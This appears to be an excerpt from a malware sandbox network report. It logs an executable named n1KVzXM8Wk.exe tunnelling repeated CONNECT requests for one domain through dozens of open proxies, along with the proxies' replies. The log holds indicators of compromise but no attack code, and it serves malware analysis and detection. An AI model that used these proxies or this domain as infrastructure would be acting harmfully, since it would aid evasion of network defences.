Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.253503084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257323027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.4	52492	31.170.22.127	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.256570101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.4	52537	209.97.150.167	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.264383078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.362755060 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.4	52559	104.21.223.181	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.264427900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.351713896 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.4	52450	122.155.165.191	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.264575958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.619702101 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.4	51865	165.227.0.166	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.264597893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257323027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.4	52623	129.226.90.34	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.269032955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.4	52580	104.16.213.202	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.269303083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.357333899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.4	52626	129.226.90.34	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.271061897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.4	51834	207.180.234.220	45876	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.284923077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.4	51819	208.87.131.151	51016	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.287619114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893091917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.419863939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.464745998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.444044113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333661079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.241019964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147190094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.4	52462	69.231.162.161	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.303843021 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:22.680927992 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0
Feb 23, 2024 09:45:23.050923109 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:23.055991888 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.4	52475	58.234.116.197	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.307476997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.4	50603	212.3.112.128	35860	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.311911106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.4	52640	165.22.103.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.312448978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.4	51822	107.180.106.173	25975	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.325696945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.365696907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.4	52642	165.22.103.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.326910019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.4	51906	132.148.128.8	61496	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.330826044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.865703106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.365921974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365778923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178364038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.975424051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865914106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475306034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.4	52576	98.162.25.23	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.336185932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.4	52584	51.89.173.40	55198	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.336236954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.865732908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.365942955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365775108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178431988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178839922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178361893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866015911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.4	52644	165.22.103.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.336731911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.4	49777	51.158.105.107	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.341283083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.303822994 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.4	52586	134.209.29.120	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.345525026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.694953918 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.4	52183	98.188.47.150	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.352505922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.4	52587	51.38.63.124	10983	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.352648020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.4	52531	193.57.139.233	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.352771997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893091917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537744999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740921021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129616022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.406021118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.647388935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147243977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.4	52591	72.206.181.123	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.353130102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.4	52069	109.172.81.102	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.362411022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.4	52474	114.132.202.125	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.370626926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.154656887 CET	84	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:22 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.4	52510	151.232.18.66	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.374561071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.4	52479	115.74.153.4	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.383378029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.4	52521	186.124.164.213	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.386941910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.4	52653	165.22.103.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.387404919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.4	52613	142.54.237.34	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.388148069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.4	52564	194.8.232.46	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.394283056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.4	52610	116.203.28.43	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.394490004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.749931097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.4	52508	188.166.197.129	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.396399021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

